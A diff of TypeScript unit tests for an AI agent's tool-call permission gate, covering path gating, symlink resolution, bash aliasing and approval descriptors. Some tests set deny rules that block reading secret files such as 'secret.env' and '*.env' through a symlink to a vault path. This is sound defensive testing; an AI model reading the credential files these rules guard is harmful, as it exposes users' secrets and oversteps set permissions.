const pipeline = new ToolCallGatePipeline(resolver, inputs);
|
||||
|
||||
await pipeline.evaluate(
|
||||
makeTcc({ toolName: "exec_command", input: { cmd: "npm install" } }),
|
||||
runner,
|
||||
);
|
||||
|
||||
expect(mockBashProgramParse).not.toHaveBeenCalled();
|
||||
});
|
||||
});
|
||||
|
||||
// ── customExtractors threading (#352) ────────────────────────────────────
|
||||
|
||||
describe("evaluate — customExtractors threading (#352)", () => {
|
||||
// Deny only the cross-cutting `path` surface; allow everything else, so a
|
||||
// block can only come from the path gate seeing the extracted path.
|
||||
function pathDenyingResolver() {
|
||||
const resolver = makeResolver();
|
||||
resolver.resolve.mockImplementation((intent) =>
|
||||
intent.surface === "path"
|
||||
? makeCheckResult({ state: "deny", matchedPattern: "*" })
|
||||
: makeCheckResult(),
|
||||
);
|
||||
return resolver;
|
||||
}
|
||||
|
||||
const extractors = {
|
||||
get: (name: string) =>
|
||||
name === "ffgrep"
|
||||
? (input: Record<string, unknown>) =>
|
||||
typeof input.target === "string" ? input.target : undefined
|
||||
: undefined,
|
||||
};
|
||||
|
||||
it("forwards extractors so a custom-shaped tool is path-gated", async () => {
|
||||
const resolver = pathDenyingResolver();
|
||||
const inputs = makeGateInputs();
|
||||
const { runner } = makeGateRunner();
|
||||
const pipeline = new ToolCallGatePipeline(
|
||||
resolver,
|
||||
inputs,
|
||||
undefined,
|
||||
extractors,
|
||||
);
|
||||
|
||||
const result = await pipeline.evaluate(
|
||||
makeTcc({
|
||||
toolName: "ffgrep",
|
||||
input: { target: "/test/project/secret.env" },
|
||||
}),
|
||||
runner,
|
||||
);
|
||||
|
||||
expect(result).toMatchObject({ action: "block" });
|
||||
});
|
||||
|
||||
it("without extractors the custom-shaped tool is not path-gated", async () => {
|
||||
const resolver = pathDenyingResolver();
|
||||
const inputs = makeGateInputs();
|
||||
const { runner } = makeGateRunner();
|
||||
const pipeline = new ToolCallGatePipeline(resolver, inputs);
|
||||
|
||||
const result = await pipeline.evaluate(
|
||||
makeTcc({
|
||||
toolName: "ffgrep",
|
||||
input: { target: "/test/project/secret.env" },
|
||||
}),
|
||||
runner,
|
||||
);
|
||||
|
||||
expect(result).toEqual({ action: "allow" });
|
||||
});
|
||||
});
|
||||
|
||||
// ── per-tool path-bearing gate (#502) ────────────────────────────────────
|
||||
|
||||
describe("evaluate — per-tool path-bearing gate (#502)", () => {
|
||||
it("emits an access-path intent on the tool-name surface for a path-bearing tool", async () => {
|
||||
const resolver = makeResolver(makeCheckResult());
|
||||
const inputs = makeGateInputs();
|
||||
const { runner } = makeGateRunner();
|
||||
const pipeline = new ToolCallGatePipeline(resolver, inputs);
|
||||
|
||||
await pipeline.evaluate(
|
||||
makeTcc({ toolName: "read", input: { path: "/test/cwd/foo.ts" } }),
|
||||
runner,
|
||||
);
|
||||
|
||||
const perTool = resolver.resolve.mock.calls.find(
|
||||
([intent]) => intent.surface === "read",
|
||||
);
|
||||
expect(perTool?.[0].kind).toBe("access-path");
|
||||
});
|
||||
|
||||
it("keeps a path-bearing tool with no path on the tool intent", async () => {
|
||||
const resolver = makeResolver(makeCheckResult());
|
||||
const inputs = makeGateInputs();
|
||||
const { runner } = makeGateRunner();
|
||||
const pipeline = new ToolCallGatePipeline(resolver, inputs);
|
||||
|
||||
await pipeline.evaluate(makeTcc({ toolName: "read", input: {} }), runner);
|
||||
|
||||
const perTool = resolver.resolve.mock.calls.find(
|
||||
([intent]) => intent.surface === "read",
|
||||
);
|
||||
expect(perTool?.[0].kind).toBe("tool");
|
||||
});
|
||||
|
||||
it("blocks when a per-tool rule matches the symlink-resolved form", async () => {
|
||||
// /test/cwd/foo.env is a symlink to /vault/foo.env; the per-tool rule is
|
||||
// keyed on the resolved target, which is only reachable via matchValues().
|
||||
realpathSync.mockImplementation((p: string) =>
|
||||
p === "/test/cwd/foo.env" ? "/vault/foo.env" : p,
|
||||
);
|
||||
const resolver = makeResolver();
|
||||
resolver.resolve.mockImplementation((intent) =>
|
||||
intent.kind === "access-path" &&
|
||||
intent.surface === "read" &&
|
||||
intent.path.matchValues().includes("/vault/foo.env")
|
||||
? makeCheckResult({ state: "deny", matchedPattern: "*.env" })
|
||||
: makeCheckResult(),
|
||||
);
|
||||
const inputs = makeGateInputs();
|
||||
const { runner } = makeGateRunner();
|
||||
const pipeline = new ToolCallGatePipeline(resolver, inputs);
|
||||
|
||||
const result = await pipeline.evaluate(
|
||||
makeTcc({ toolName: "read", input: { path: "/test/cwd/foo.env" } }),
|
||||
runner,
|
||||
);
|
||||
|
||||
expect(result).toMatchObject({ action: "block" });
|
||||
});
|
||||
});
|
||||
});
|
||||
@@ -0,0 +1,312 @@
|
||||
import { describe, expect, it } from "vitest";
|
||||
|
||||
import type { ShellInvocation } from "#src/access-intent/tool-kind";
|
||||
import { describeToolGate } from "#src/handlers/gates/tool";
|
||||
import type { ToolCallContext } from "#src/handlers/gates/types";
|
||||
import { posixPathFlavor } from "#src/path/path-flavor";
|
||||
import { PathNormalizer } from "#src/path-normalizer";
|
||||
import {
|
||||
TOOL_INPUT_PREVIEW_MAX_LENGTH,
|
||||
TOOL_TEXT_SUMMARY_MAX_LENGTH,
|
||||
} from "#src/tool-input-preview";
|
||||
import { ToolPreviewFormatter } from "#src/tool-preview-formatter";
|
||||
import type { PermissionCheckResult } from "#src/types";
|
||||
|
||||
// ── helpers ────────────────────────────────────────────────────────────────
|
||||
|
||||
function makeFormatter(): ToolPreviewFormatter {
|
||||
return new ToolPreviewFormatter({
|
||||
toolInputPreviewMaxLength: TOOL_INPUT_PREVIEW_MAX_LENGTH,
|
||||
toolTextSummaryMaxLength: TOOL_TEXT_SUMMARY_MAX_LENGTH,
|
||||
});
|
||||
}
|
||||
|
||||
function makeTcc(overrides: Partial<ToolCallContext> = {}): ToolCallContext {
|
||||
return {
|
||||
toolName: "read",
|
||||
agentName: null,
|
||||
input: {},
|
||||
toolCallId: "tc-1",
|
||||
cwd: "/test/project",
|
||||
...overrides,
|
||||
};
|
||||
}
|
||||
|
||||
function makeCheckResult(
|
||||
state: "allow" | "deny" | "ask",
|
||||
overrides: Partial<PermissionCheckResult> = {},
|
||||
): PermissionCheckResult {
|
||||
return {
|
||||
state,
|
||||
toolName: "read",
|
||||
source: "tool",
|
||||
origin: "builtin",
|
||||
matchedPattern: "*",
|
||||
...overrides,
|
||||
};
|
||||
}
|
||||
|
||||
// The per-tool gate now receives the AccessPath the pipeline builds, bound to
|
||||
// the makeTcc default cwd; approval values derive from `accessPath.value()`.
|
||||
const normalizer = new PathNormalizer(posixPathFlavor, "/test/project");
|
||||
|
||||
// ── tests ──────────────────────────────────────────────────────────────────
|
||||
|
||||
describe("describeToolGate", () => {
|
||||
it("returns descriptor with tool name as surface for standard tools", () => {
|
||||
const desc = describeToolGate(
|
||||
makeTcc({ toolName: "read" }),
|
||||
makeCheckResult("ask"),
|
||||
makeFormatter(),
|
||||
);
|
||||
expect(desc.surface).toBe("read");
|
||||
expect(desc.decision.surface).toBe("read");
|
||||
});
|
||||
|
||||
it("returns descriptor with tool name as decision value for standard tools", () => {
|
||||
const desc = describeToolGate(
|
||||
makeTcc({ toolName: "write" }),
|
||||
makeCheckResult("ask"),
|
||||
makeFormatter(),
|
||||
);
|
||||
expect(desc.decision.value).toBe("write");
|
||||
});
|
||||
|
||||
it("returns bash surface with command in decision.value for bash tools", () => {
|
||||
const check = makeCheckResult("ask", {
|
||||
toolName: "bash",
|
||||
command: "git status",
|
||||
});
|
||||
const desc = describeToolGate(
|
||||
makeTcc({ toolName: "bash", input: { command: "git status" } }),
|
||||
check,
|
||||
makeFormatter(),
|
||||
);
|
||||
expect(desc.surface).toBe("bash");
|
||||
expect(desc.decision.surface).toBe("bash");
|
||||
expect(desc.decision.value).toBe("git status");
|
||||
});
|
||||
|
||||
it("gates an aliased shell tool on the bash surface while keeping its tool name in logs (#574)", () => {
|
||||
const shell: ShellInvocation = {
|
||||
command: "npm install",
|
||||
workdir: undefined,
|
||||
};
|
||||
const check = makeCheckResult("ask", {
|
||||
toolName: "bash",
|
||||
source: "bash",
|
||||
command: "npm install",
|
||||
});
|
||||
const desc = describeToolGate(
|
||||
makeTcc({ toolName: "exec_command", input: { cmd: "npm install" } }),
|
||||
check,
|
||||
makeFormatter(),
|
||||
undefined,
|
||||
shell,
|
||||
);
|
||||
// Gated as bash: decision, surface, and session rule are bash-shaped.
|
||||
expect(desc.surface).toBe("bash");
|
||||
expect(desc.decision.surface).toBe("bash");
|
||||
expect(desc.decision.value).toBe("npm install");
|
||||
expect(desc.sessionApproval?.surface).toBe("bash");
|
||||
expect(desc.sessionApproval?.representativePattern).toBe("npm install*");
|
||||
// The invoked tool name is preserved for the review log and prompt.
|
||||
expect(desc.logContext.toolName).toBe("exec_command");
|
||||
expect(desc.promptDetails.toolName).toBe("exec_command");
|
||||
// "Gated as bash, invoked as exec_command" is two facts, and the payload
|
||||
// records both rather than collapsing them.
|
||||
expect(desc.payload.kind).toBe("bash");
|
||||
expect(desc.payload.request.toolName).toBe("bash");
|
||||
expect(desc.payload.request.invokedToolName).toBe("exec_command");
|
||||
});
|
||||
|
||||
it("returns mcp surface with target in decision.value for MCP tools", () => {
|
||||
const check = makeCheckResult("ask", {
|
||||
toolName: "mcp",
|
||||
target: "server:tool",
|
||||
});
|
||||
const desc = describeToolGate(
|
||||
makeTcc({ toolName: "mcp", input: { tool: "server:tool" } }),
|
||||
check,
|
||||
makeFormatter(),
|
||||
);
|
||||
expect(desc.surface).toBe("mcp");
|
||||
expect(desc.decision.surface).toBe("mcp");
|
||||
expect(desc.decision.value).toBe("server:tool");
|
||||
});
|
||||
|
||||
it("carries the checked tool and its matched rule on the payload", () => {
|
||||
const check = makeCheckResult("deny", {
|
||||
toolName: "read",
|
||||
matchedPattern: "re*",
|
||||
});
|
||||
const desc = describeToolGate(makeTcc(), check, makeFormatter());
|
||||
expect(desc.payload.kind).toBe("tool");
|
||||
expect(desc.payload.request.toolName).toBe("read");
|
||||
expect(desc.payload.request.matchedPattern).toBe("re*");
|
||||
expect(desc.payload.request.requester.agentName).toBeNull();
|
||||
});
|
||||
|
||||
it("names the requesting agent on the payload when provided", () => {
|
||||
const check = makeCheckResult("ask", { toolName: "read" });
|
||||
const desc = describeToolGate(
|
||||
makeTcc({ agentName: "my-agent" }),
|
||||
check,
|
||||
makeFormatter(),
|
||||
);
|
||||
expect(desc.payload.request.requester.agentName).toBe("my-agent");
|
||||
});
|
||||
|
||||
it("carries the command as the decision-relevant value for a bash ask", () => {
|
||||
const check = makeCheckResult("ask", { toolName: "bash", command: "ls" });
|
||||
const desc = describeToolGate(
|
||||
makeTcc({ toolName: "bash", input: { command: "ls" } }),
|
||||
check,
|
||||
makeFormatter(),
|
||||
);
|
||||
expect(desc.payload.kind).toBe("bash");
|
||||
expect(desc.payload.request.value).toBe("ls");
|
||||
});
|
||||
|
||||
it("populates sessionApproval via suggestSessionPattern", () => {
|
||||
const check = makeCheckResult("ask", {
|
||||
toolName: "bash",
|
||||
command: "git status",
|
||||
});
|
||||
const desc = describeToolGate(
|
||||
makeTcc({ toolName: "bash", input: { command: "git status" } }),
|
||||
check,
|
||||
makeFormatter(),
|
||||
);
|
||||
expect(desc.sessionApproval).toBeDefined();
|
||||
expect(desc.sessionApproval?.surface).toBe("bash");
|
||||
expect(desc.sessionApproval?.representativePattern).toBeDefined();
|
||||
});
|
||||
|
||||
it("binds a current-directory file's session approval to the cwd subtree", () => {
|
||||
const check = makeCheckResult("ask", { toolName: "edit" });
|
||||
const desc = describeToolGate(
|
||||
makeTcc({
|
||||
toolName: "edit",
|
||||
input: { path: "index.html" },
|
||||
cwd: "/test/project",
|
||||
}),
|
||||
check,
|
||||
makeFormatter(),
|
||||
normalizer.forPath("index.html"),
|
||||
);
|
||||
expect(desc.sessionApproval?.surface).toBe("edit");
|
||||
expect(desc.sessionApproval?.representativePattern).toBe("/test/project/*");
|
||||
});
|
||||
|
||||
it("resolves a sub-directory file's session approval to an absolute pattern", () => {
|
||||
// The approval value derives from the AccessPath's lexical absolute form
|
||||
// (`value()`), so sub-directory approvals are absolute too — the deliberate
|
||||
// tradeoff that keeps the pattern aligned with the policy values it is
|
||||
// matched against.
|
||||
const check = makeCheckResult("ask", { toolName: "edit" });
|
||||
const desc = describeToolGate(
|
||||
makeTcc({
|
||||
toolName: "edit",
|
||||
input: { path: "src/foo.ts" },
|
||||
cwd: "/test/project",
|
||||
}),
|
||||
check,
|
||||
makeFormatter(),
|
||||
normalizer.forPath("src/foo.ts"),
|
||||
);
|
||||
expect(desc.sessionApproval?.representativePattern).toBe(
|
||||
"/test/project/src/*",
|
||||
);
|
||||
});
|
||||
|
||||
it("falls back to a wildcard session approval when no AccessPath is given", () => {
|
||||
// A path-bearing tool with no `input.path` keeps the `tool` intent and gets
|
||||
// no AccessPath, so the suggestion collapses to the catch-all.
|
||||
const desc = describeToolGate(
|
||||
makeTcc({ toolName: "read", input: {} }),
|
||||
makeCheckResult("ask"),
|
||||
makeFormatter(),
|
||||
);
|
||||
expect(desc.sessionApproval?.surface).toBe("read");
|
||||
expect(desc.sessionApproval?.representativePattern).toBe("*");
|
||||
});
|
||||
|
||||
it("populates promptDetails with correct fields", () => {
|
||||
const check = makeCheckResult("ask");
|
||||
const desc = describeToolGate(
|
||||
makeTcc({ toolName: "read", agentName: "my-agent", toolCallId: "tc-42" }),
|
||||
check,
|
||||
makeFormatter(),
|
||||
);
|
||||
expect(desc.promptDetails).toMatchObject({
|
||||
source: "tool_call",
|
||||
agentName: "my-agent",
|
||||
toolCallId: "tc-42",
|
||||
toolName: "read",
|
||||
});
|
||||
expect(desc.promptDetails.sessionLabel).toBeDefined();
|
||||
});
|
||||
|
||||
it("carries the AccessPath's facts on promptDetails for a path-bearing tool", () => {
|
||||
const check = makeCheckResult("ask", { toolName: "edit" });
|
||||
const accessPath = normalizer.forPath("src/foo.ts");
|
||||
const desc = describeToolGate(
|
||||
makeTcc({
|
||||
toolName: "edit",
|
||||
input: { path: "src/foo.ts" },
|
||||
cwd: "/test/project",
|
||||
}),
|
||||
check,
|
||||
makeFormatter(),
|
||||
accessPath,
|
||||
);
|
||||
expect(desc.promptDetails.accessIntent).toEqual({
|
||||
surface: "edit",
|
||||
matchValues: accessPath.matchValues(),
|
||||
boundaryValue: accessPath.boundaryValue(),
|
||||
});
|
||||
});
|
||||
|
||||
it("carries the single decision value on promptDetails for a non-path tool (bash)", () => {
|
||||
const check = makeCheckResult("ask", {
|
||||
toolName: "bash",
|
||||
command: "git status",
|
||||
});
|
||||
const desc = describeToolGate(
|
||||
makeTcc({ toolName: "bash", input: { command: "git status" } }),
|
||||
check,
|
||||
makeFormatter(),
|
||||
);
|
||||
expect(desc.promptDetails.accessIntent).toEqual({
|
||||
surface: "bash",
|
||||
matchValues: ["git status"],
|
||||
boundaryValue: null,
|
||||
});
|
||||
});
|
||||
|
||||
it("populates logContext with tool input preview fields", () => {
|
||||
const check = makeCheckResult("ask", { toolName: "bash", command: "ls" });
|
||||
const desc = describeToolGate(
|
||||
makeTcc({ toolName: "bash", input: { command: "ls" } }),
|
||||
check,
|
||||
makeFormatter(),
|
||||
);
|
||||
expect(desc.logContext).toMatchObject({
|
||||
source: "tool_call",
|
||||
toolName: "bash",
|
||||
});
|
||||
expect(desc.logContext.command).toBe("ls");
|
||||
});
|
||||
|
||||
it("uses toolName as input for checkPermission surface", () => {
|
||||
const desc = describeToolGate(
|
||||
makeTcc({ toolName: "edit", input: { path: "/a.ts" } }),
|
||||
makeCheckResult("ask", { toolName: "edit" }),
|
||||
makeFormatter(),
|
||||
normalizer.forPath("/a.ts"),
|
||||
);
|
||||
expect(desc.surface).toBe("edit");
|
||||
expect(desc.input).toEqual({ path: "/a.ts" });
|
||||
});
|
||||
});
|
||||
Reference in New Issue
Block a user